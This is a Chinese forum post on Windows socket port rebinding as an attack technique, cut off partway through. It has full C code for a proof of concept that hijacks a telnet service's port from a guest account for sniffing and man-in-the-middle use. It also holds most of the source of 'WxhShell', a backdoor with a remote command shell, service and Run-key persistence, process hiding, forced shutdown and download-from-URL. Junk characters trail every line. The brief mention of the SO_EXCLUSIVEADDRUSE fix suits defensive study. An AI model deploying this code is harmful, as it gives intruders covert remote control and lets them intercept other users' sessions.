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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *$9Rb2}kK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R~N'5#.*M  
~NB lJULS  
  saddr.sin_family = AF_INET; !DZ4C.  
=:(<lKf,<F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gbu@&   
n*y@3.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #p/'5lA&j  
z]n&,q,5g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g#r,u5<*?  
0uhIJc'2  
  这意味着什么?意味着可以进行如下的攻击: by* v($  
wY_! s Qo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3 , nr*R!  
<c]?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *%jd>e7d  
'[Z.\   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j\TS:F^z  
Xf*}V+&WN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *@[N~:z/  
p0@l581  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {^6<Ohe4j  
7U`8W\-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u!9bhL`  
&d&nsQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qY|NA)E)Bp  
g<5G#  
  #include %nT&  
  #include YA*E93J0  
  #include 28=L9q   
  #include    >|_B=<!99W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4 k y/a1y-  
  int main() Fu"@)xw/-q  
  { h f9yK6  
  WORD wVersionRequested; {14sI*b16  
  DWORD ret; 0;:AT|U/d  
  WSADATA wsaData; zJT,Hv .  
  BOOL val; .tt=\R  
  SOCKADDR_IN saddr; # PZBh  
  SOCKADDR_IN scaddr; w$FN(BfA  
  int err; uoe>T:  
  SOCKET s; !)h?2#V8;  
  SOCKET sc; of>}fJ_p  
  int caddsize; Ng+Ge5C9  
  HANDLE mt; ]]lM)  
  DWORD tid;   uW^W/S%'  
  wVersionRequested = MAKEWORD( 2, 2 ); n8 e4`-cY  
  err = WSAStartup( wVersionRequested, &wsaData ); XaR(~2  
  if ( err != 0 ) { ]-tAgNzl%  
  printf("error!WSAStartup failed!\n"); bZi;jl  
  return -1; ff<ad l-  
  } eVB.g@%T  
  saddr.sin_family = AF_INET; 62{[)jt{  
   ~7"6Y ]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d&5GkD.P  
>? ({  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9Qhk~^ngg  
  saddr.sin_port = htons(23); ljRR{HOl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uq_h8JH$  
  { |4u?Q+k%%  
  printf("error!socket failed!\n"); `8N],X  
  return -1; <|_b:  
  } :z}  
  val = TRUE; XqK\'8]\Mw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z]F4Z'(e.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 32ae? d  
  { m=p<.%a  
  printf("error!setsockopt failed!\n"); NP5;&}uv*!  
  return -1; >"z&KZKI  
  } >Gyg`L\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {uuvgFC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I6,sN9` K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6mbHfL>cO  
"J (.dg]"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =| M[JPr  
  { xtP=/B/  
  ret=GetLastError(); 5Pu F]5  
  printf("error!bind failed!\n"); )XAD#GYM  
  return -1; t(F] -[  
  } w=S7zzL)  
  listen(s,2); _Q3Ad>,U  
  while(1) WmT(>JBO  
  { Z,bvD'u  
  caddsize = sizeof(scaddr); \qh -fW; #  
  //接受连接请求 .4-I^W"1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FI|@=l;_  
  if(sc!=INVALID_SOCKET) zO07X*Bw  
  { (6S f#M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^XQr`CqI  
  if(mt==NULL) V`z2F'vT  
  { H<6/i@ly  
  printf("Thread Creat Failed!\n"); ,0R2k `m!  
  break; M:OJL\0  
  } 1*Ui=M4  
  } 7,N>u8cTh  
  CloseHandle(mt); Z2dy|e(c  
  } RU^lR8;  
  closesocket(s); [F< Tl =  
  WSACleanup(); c(<,qWH  
  return 0; HN*w(bROr  
  }   'hM?J*m  
  DWORD WINAPI ClientThread(LPVOID lpParam) _F1{<" 4  
  { }uE8o"q  
  SOCKET ss = (SOCKET)lpParam; Ghgo"-,#  
  SOCKET sc; ii :h E=  
  unsigned char buf[4096]; Ck0R%|  
  SOCKADDR_IN saddr; fjAJys)Q  
  long num; Oy!j`  
  DWORD val; HLy}ta\  
  DWORD ret; (gl/NH!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wGC)gW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F+@E6I'g  
  saddr.sin_family = AF_INET; a+CHrnU\;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $*{$90 Q  
  saddr.sin_port = htons(23); i-EFq@xl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c=T^)~$$  
  { o(/(`/  
  printf("error!socket failed!\n"); hL,+wJ+A  
  return -1; D~xU r )E  
  } * QF3l0&  
  val = 100; 6_wf $(im  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @lP<Mq~]  
  { [[PUK{P0  
  ret = GetLastError(); Eqg(U0k0  
  return -1; @:~O  
  } f*g>~!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kxg]sr"  
  { '`Smg3T!~S  
  ret = GetLastError(); {t$ vsR  
  return -1; Odr@9MJ  
  } Upr:sB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F%Lniv/N  
  { Ha\q}~_  
  printf("error!socket connect failed!\n"); !j)H !|R  
  closesocket(sc); lq$1CI  
  closesocket(ss); gq6C6   
  return -1; [Pdm1]":(  
  } \"qXlTQ1_9  
  while(1) $+<X 1  
  { jG0{>P#+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +_?;%PKkuF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FV/X&u8~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N2VF_[l  
  num = recv(ss,buf,4096,0); +OF(CcA^  
  if(num>0) <)zh2UI  
  send(sc,buf,num,0); B(mxW8y  
  else if(num==0) EO,;^RtB  
  break; S #X$QD  
  num = recv(sc,buf,4096,0); ~4wbIE_r N  
  if(num>0) ;C%D+"l1g  
  send(ss,buf,num,0); ZbYwuyHk(3  
  else if(num==0) 1WPDMLuN  
  break; }`$:3mb&f  
  } aho;HM$hjP  
  closesocket(ss); C9/?B:  
  closesocket(sc); 8kih81tx"U  
  return 0 ; qphN   
  } DsqsMlB{  
` BH8v  
-uiZp !  
========================================================== /'=C<HSO  
GG\]}UjX  
下边附上一个代码,,WXhSHELL `OnN12`  
xyx.1o e!  
========================================================== | zj$p~  
'jeGERMr'  
#include "stdafx.h" I<.3"F1}  
,{7wvXP  
#include <stdio.h> F]W'spF,  
#include <string.h> YF @'t~_Z  
#include <windows.h> !>/U6h,_  
#include <winsock2.h> i6r%;ueLb  
#include <winsvc.h> Xt /T0.I  
#include <urlmon.h> :>'^l?b'WX  
w&v_#\T  
#pragma comment (lib, "Ws2_32.lib") 3skq%;%Wsk  
#pragma comment (lib, "urlmon.lib") vI ]| W  
r]km1SrS  
#define MAX_USER   100 // 最大客户端连接数 A5Yfm.Jy  
#define BUF_SOCK   200 // sock buffer !a3cEzs3  
#define KEY_BUFF   255 // 输入 buffer MyuFZ7Q4$  
$qy%Q]  
#define REBOOT     0   // 重启 xrO:Y!C?  
#define SHUTDOWN   1   // 关机 )KR9alf3  
d>NElug  
#define DEF_PORT   5000 // 监听端口 #:{PAt  
/wI$}X5o~  
#define REG_LEN     16   // 注册表键长度 Aa.bE,W  
#define SVC_LEN     80   // NT服务名长度 }Fyf?TZ$T  
8;.WX  
// 从dll定义API % !P^se  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gn82_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '`s\_Q)hG_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N"/J1   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WAq)1gwN  
!m]_tB  
// wxhshell配置信息 7sypU1V6  
struct WSCFG { ]bcAbCZ@  
  int ws_port;         // 监听端口 7Eb | AR  
  char ws_passstr[REG_LEN]; // 口令 !O )je>A  
  int ws_autoins;       // 安装标记, 1=yes 0=no r? 9D/|`  
  char ws_regname[REG_LEN]; // 注册表键名 S<*h1}V3/  
  char ws_svcname[REG_LEN]; // 服务名 m8}c(GwcP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J|$UAOEDa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8O^<#lh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g \.O5H9Od  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \d-H+t]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vw~=z6Ka  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~ eNKu  
Q*jNJ^IW  
}; N[=c|frho  
gn-@OmIs  
// default Wxhshell configuration t[e`wj+qz  
struct WSCFG wscfg={DEF_PORT, $sILCn  
    "xuhuanlingzhe", ZuLW%z.  
    1, ol3].0Vc]  
    "Wxhshell", =w!>/#U  
    "Wxhshell", 9 AWFjoXl"  
            "WxhShell Service", +HDfEo T  
    "Wrsky Windows CmdShell Service", Dpb prT7_  
    "Please Input Your Password: ", e^=b#!}-5:  
  1, 1S{AGgls5  
  "http://www.wrsky.com/wxhshell.exe", /Fj*sS8  
  "Wxhshell.exe" Mq~g+` '  
    }; tD^$}u6  
qs$w9I  
// 消息定义模块 `; +UWdAR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [AHoTlPZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1[] 9EJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 61SbBJ6[  
char *msg_ws_ext="\n\rExit."; Hb&C;lk  
char *msg_ws_end="\n\rQuit."; j^5VmG  
char *msg_ws_boot="\n\rReboot..."; @f!r"P]  
char *msg_ws_poff="\n\rShutdown..."; b[U;P=;=  
char *msg_ws_down="\n\rSave to "; 'w"hG$".  
2rGg  
char *msg_ws_err="\n\rErr!"; JZup} {a  
char *msg_ws_ok="\n\rOK!"; g0-~ %A,  
$Wn!vbL  
char ExeFile[MAX_PATH]; @ JfQ}`  
int nUser = 0; 'O^<i`8U]  
HANDLE handles[MAX_USER]; *";O_ :C!  
int OsIsNt; k0bDEz.X  
1v~1?+a\2  
SERVICE_STATUS       serviceStatus; dy.U;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Lm0$o*`  
o_C]O"  
// 函数声明  (z.4er}o  
int Install(void); eWGaGRem  
int Uninstall(void); _{2/QP}  
int DownloadFile(char *sURL, SOCKET wsh); \o}=ob  
int Boot(int flag); =/m$ayG  
void HideProc(void); 'wA4yJ<  
int GetOsVer(void); #z#`EBXV$6  
int Wxhshell(SOCKET wsl); q[TGEgG  
void TalkWithClient(void *cs); X1XmaO% A  
int CmdShell(SOCKET sock); ">FuCvQ  
int StartFromService(void); qFE(H1hy  
int StartWxhshell(LPSTR lpCmdLine); Mi<l;ZP  
06]%$ -j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); exxH0^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F-=Xbyr3@  
o`M.v[O  
// 数据结构和表定义 ^wlo;.8Y  
SERVICE_TABLE_ENTRY DispatchTable[] = duV\Kt/g^  
{ 4?33t] "  
{wscfg.ws_svcname, NTServiceMain}, HSj=g}r  
{NULL, NULL} DQ.;2W  
}; cT|aQM@iW  
:>-&  
// 自我安装 7-Mm+4O9  
int Install(void) }B`T%(11=  
{ !B/5@P  
  char svExeFile[MAX_PATH]; MLvd6tIv,  
  HKEY key; kYZj^tR  
  strcpy(svExeFile,ExeFile); HhB&vi  
"IJ 9vXI  
// 如果是win9x系统,修改注册表设为自启动 9P& \2/ {  
if(!OsIsNt) { 63SmQsv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +W+o~BE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hto+spW  
  RegCloseKey(key); Gt$PBlq0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L2IY$+=M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p5Wz.n.<'  
  RegCloseKey(key); b *Ca*!  
  return 0; |xFSGrC  
    } }qg.Go  
  } m](q,65 2  
} JN-W`2  
else { -ZH6*7!  
dO!B=/  
// 如果是NT以上系统,安装为系统服务 8SN4E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >Yx,%a@~R  
if (schSCManager!=0) MDauHtF,  
{ &?*H`5#?G  
  SC_HANDLE schService = CreateService : ~Ppv5W.  
  ( 'MQJt2QU9{  
  schSCManager, X\1.,]O >  
  wscfg.ws_svcname, 8X# \T/U  
  wscfg.ws_svcdisp, Q#PkfjXS  
  SERVICE_ALL_ACCESS, lnnT_[ni.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zU2Mno  
  SERVICE_AUTO_START, 7g.3)1  
  SERVICE_ERROR_NORMAL, c JOT{  
  svExeFile, ,HwOMoP7  
  NULL, '8c-V aa  
  NULL, X< 4f7;]O  
  NULL, tY- `$U@  
  NULL, aucG|}B  
  NULL % U|4%P  
  ); [orS-H7^  
  if (schService!=0) fzr0dcNgM  
  { >k8FUf(c  
  CloseServiceHandle(schService); s >7(S%#N  
  CloseServiceHandle(schSCManager); ys9'1+9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O^r,H,3S  
  strcat(svExeFile,wscfg.ws_svcname); <xh";seL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /-Y.A<ieN8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #;hYJ Y  
  RegCloseKey(key); MX s]3M  
  return 0; I` q"  
    } 6]fz;\DgP  
  } .&rL>A2U  
  CloseServiceHandle(schSCManager); N4u-tlA  
} h 6juX'V  
} ;oWak`]f  
C!^[d  
return 1; B qcFbY  
} Ja{[T  
fBnlB_}e  
// 自我卸载 u5A$VRMN  
int Uninstall(void) S3sxK:  
{ '5}@# Mi  
  HKEY key; jd+ U+8r  
@QAI 0ZY  
if(!OsIsNt) { -op(26:W<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UgD&tD0fp  
  RegDeleteValue(key,wscfg.ws_regname); I2)#."=Ew  
  RegCloseKey(key); THmmf_w@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b$N&sZ  
  RegDeleteValue(key,wscfg.ws_regname); c;7`]}fGu  
  RegCloseKey(key); 9Bi{X_.9  
  return 0; ;mSJZYnT  
  } L)3JTNiB  
} u%AyW  
} b 2XUZ5  
else { ,2]a<0m  
Qn`Fq,uvL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v|wO qS  
if (schSCManager!=0) .NT9dX  
{ M"E7= J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oNp(GQ@0  
  if (schService!=0) Z?)=4|  
  { CYZ0F5+t  
  if(DeleteService(schService)!=0) { n0opb [?  
  CloseServiceHandle(schService); 0l2@3}e  
  CloseServiceHandle(schSCManager); fu{.Ir  
  return 0; ,o s M|!,  
  } DgKe!w$  
  CloseServiceHandle(schService); 6Jd.Eg ~A7  
  } 17+2`@vJgM  
  CloseServiceHandle(schSCManager); \pVWYx  
} yc.9CTxx  
} 18o5Gs;yx  
'L8B"5|>  
return 1; /7uA f{  
} a G\  
L[O.]2  
// 从指定url下载文件 -HUlB|Q8r  
int DownloadFile(char *sURL, SOCKET wsh) zA*I=3E(  
{ 3oMhsQz~z  
  HRESULT hr; dr]Pns9  
char seps[]= "/"; hYSf;cG}A  
char *token; `l + pk%  
char *file; 3pjK`"Nmz\  
char myURL[MAX_PATH]; %SJFuw"  
char myFILE[MAX_PATH]; 1Y{pf]5Wx  
abkt&981K+  
strcpy(myURL,sURL); }S6"$R  
  token=strtok(myURL,seps); &z?:s  
  while(token!=NULL) rixt_}aE  
  { @h!nVf%fe  
    file=token; /7hC /!@  
  token=strtok(NULL,seps); WO{E T  
  } evGUl~</~  
>6 A8+=  
GetCurrentDirectory(MAX_PATH,myFILE); 48RSuH  
strcat(myFILE, "\\"); zaG1  
strcat(myFILE, file); Q8^g WBc  
  send(wsh,myFILE,strlen(myFILE),0); W \XLf,_+  
send(wsh,"...",3,0); Z&Xp9"j,@;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WFG`-8_e[I  
  if(hr==S_OK) (X~JTH:e/  
return 0; z65Q"A  
else vY2^*3\<D  
return 1; 69$gPY'3  
=p>IP"HJ  
} H,0Io  
pd}Cg'}X  
// 系统电源模块 1)hO!%  
int Boot(int flag) Zce/&  
{ l'twy$V4|~  
  HANDLE hToken; f8S!FGiNc  
  TOKEN_PRIVILEGES tkp; 1`)e}p&  
+{au$v}  
  if(OsIsNt) { I8Q!`K J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n>W*y|UJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4x"9Wr=}  
    tkp.PrivilegeCount = 1;  &sg~owz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ls i,kg?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x`JhNAO>  
if(flag==REBOOT) { !dGSZ|YZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f7?IXDQ>!  
  return 0; >8.o  
} _:~I(c6   
else { >o )v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dzs(sM=  
  return 0; +jb<=ERV[  
} &9F(C R  
  } _m*FHi  
  else { A8T8+M:  
if(flag==REBOOT) { K(}g!iT)~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,racmxnv  
  return 0; kV:T2}]|H  
} UZx8ozv'  
else { ,f}u|D 3@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *u]aWx  
  return 0; HUalD3 \  
} |OBh:d_B]  
} k nljc^  
vJ{aBx`VS  
return 1; SGP)A(,k9  
} Wgb L9'}B  
#83pitcc  
// win9x进程隐藏模块 Td 5yRN! ?  
void HideProc(void) 2Z+:^5  
{ *;[g Ga~  
MJ<jF(_=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s@(ME1j(U!  
  if ( hKernel != NULL ) "=,IbC  
  { Kp>fOe'KW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T\w{&3ONm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c\OLf_Uf  
    FreeLibrary(hKernel); "2Q*-  
  } vP'#x  
@:t2mz:^i  
return; _K3;$2d|R  
} +%R{j|8#  
#Wq@j1?  
// 获取操作系统版本 ',]^Qu`a  
int GetOsVer(void) w+gPU1|(r  
{ -{E S 36  
  OSVERSIONINFO winfo; 2]cU:j6G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;s?,QvE{r#  
  GetVersionEx(&winfo); v]y=+* A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1F R  
  return 1; |O{kv}Y Z  
  else BMb0Pu 8  
  return 0; xwojjiV  
} ny1Dg$u i2  
ZMGC@4^F  
// 客户端句柄模块 NIG* }[}P  
int Wxhshell(SOCKET wsl) 2%vG7o,#  
{ vngn^2  
  SOCKET wsh; qVE <voB8  
  struct sockaddr_in client; dg#w!etB  
  DWORD myID; Hb\['VhzM  
>[S\NAE>  
  while(nUser<MAX_USER) j%i6H1#.Z  
{ [I,s:mn  
  int nSize=sizeof(client); y>0Gmr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nw0Tg= P  
  if(wsh==INVALID_SOCKET) return 1; vf-8DB  
=g$%jM>35  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |xrnLdng0R  
if(handles[nUser]==0)  NmTo/5s  
  closesocket(wsh); vG~JK[  
else +iw4>0pi  
  nUser++; @4Lol2  
  } >aT~ G!y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I "HEXsSe  
'^(qlCI  
  return 0; u<EPK*O*  
} q-qz-cR  
aX? tnDv  
// 关闭 socket 1cD  
void CloseIt(SOCKET wsh) 9>= S@hVMd  
{ !ezy  v`  
closesocket(wsh); #!t6'*  
nUser--; ])?[9c  
ExitThread(0); V!QC.D<  
} uG(XbDZZ1W  
`:W}yo<F  
// 客户端请求句柄 E+J+fi  
void TalkWithClient(void *cs) |OIU)53A-  
{ >^D5D%"  
!e}4>!L,(^  
  SOCKET wsh=(SOCKET)cs; zA| )9Dq  
  char pwd[SVC_LEN]; { }P~nP  
  char cmd[KEY_BUFF]; >XW-W  
char chr[1]; oo|Nu+  
int i,j; S7b7zJ8A  
OV`li#H  
  while (nUser < MAX_USER) { t?Q  
goc; .~?  
if(wscfg.ws_passstr) { zN/nKj: Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AsR}qqG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); izR#XeBm  
  //ZeroMemory(pwd,KEY_BUFF); L$^)QxH7  
      i=0; hHgH'  
  while(i<SVC_LEN) { zIr4!|X  
j|@8VxZ  
  // 设置超时 cCcJOhk|d  
  fd_set FdRead; zKThM#.Wa  
  struct timeval TimeOut; MHS|gR.c  
  FD_ZERO(&FdRead); 0O(Vyy  
  FD_SET(wsh,&FdRead); v!AfIcEV  
  TimeOut.tv_sec=8; YD#L@:&gv  
  TimeOut.tv_usec=0; ,nJCqX~ /G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (^m~UN2@~m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n!U1cB{  
AvB21~t&]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O~Svk'.)  
  pwd=chr[0]; 57EL&V%j  
  if(chr[0]==0xd || chr[0]==0xa) { q[x|tO  
  pwd=0; df/7u}>9  
  break; $5@[l5cJU;  
  } qA t#0  
  i++; \"d\b><R  
    } be [E^%  
D8`SI2 1P  
  // 如果是非法用户,关闭 socket DIgur}q)@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?y,KN}s_  
} Wr8}=\/  
31N5dIi,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fn8|@)J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pxCQ=0k  
&Y3ZGRT  
while(1) { ^~s!*T)\  
2B+qS'OT  
  ZeroMemory(cmd,KEY_BUFF); eL [.;_  
9&s>RJ  
      // 自动支持客户端 telnet标准   }\1IsK~P  
  j=0; 34L1Gxf  
  while(j<KEY_BUFF) { PB~ r7O]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3teP6|K'g  
  cmd[j]=chr[0]; I(b]V!mj:  
  if(chr[0]==0xa || chr[0]==0xd) { >b8-v~o{  
  cmd[j]=0; <VhD>4f{]  
  break; Yi <1z:\  
  } #P {|7}jk  
  j++; )!FheoR  
    } V/RV,K1/  
(~fv;}}v  
  // 下载文件 KfQ?b_H.  
  if(strstr(cmd,"http://")) { %8>0;ktU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UYzNaw4/x  
  if(DownloadFile(cmd,wsh)) cGlpJ)'-{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CD4@0Z+  
  else *hh9 K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sa/]81 aG  
  } % zO>]f&  
  else { BE!l{  
Y/ %XkDC~  
    switch(cmd[0]) { H(Y1%@  
  a'O-0]g,  
  // 帮助 ? U =Mdw  
  case '?': { tjQ6[`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \uZ1Sl  
    break; fr}.#~{5Y  
  } Hk$do`H-=Y  
  // 安装 ; O ~%y'  
  case 'i': { 55=YM'5]  
    if(Install()) k7]4TIUD*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fZQ2<*)pqO  
    else 2 ]n4)vv,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yE;S6 O  
    break; ULO_?4}B  
    } h-U]?De5\  
  // 卸载 iDdR-T|  
  case 'r': { -J0I2D  
    if(Uninstall()) #"C!-kS'=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @.,'A[D!K  
    else V;gC[7H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n*caP9B  
    break; 0v``4z2Z  
    } R_"6E8N  
  // 显示 wxhshell 所在路径 w=^~M[%w  
  case 'p': { n6 wx/:  
    char svExeFile[MAX_PATH]; QHd|cg  
    strcpy(svExeFile,"\n\r"); 5UX-Qqr  
      strcat(svExeFile,ExeFile); 9t8ccr  
        send(wsh,svExeFile,strlen(svExeFile),0); tg<bVA)E'J  
    break; SZ:R~4 A  
    } |W*2L] &  
  // 重启 SJE!14|e  
  case 'b': { h!tg+9%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uWi pjxS  
    if(Boot(REBOOT)) v~0lZe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X|L_}Q7  
    else { Nh !U  
    closesocket(wsh); .(s@{=  
    ExitThread(0); QBA{*@ A-  
    } ;Mr Q1  
    break; Wxgs66   
    } 3wQ\L=  
  // 关机 /K;AbE  
  case 'd': { ^;$9>yi1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <~e*YrJ?-  
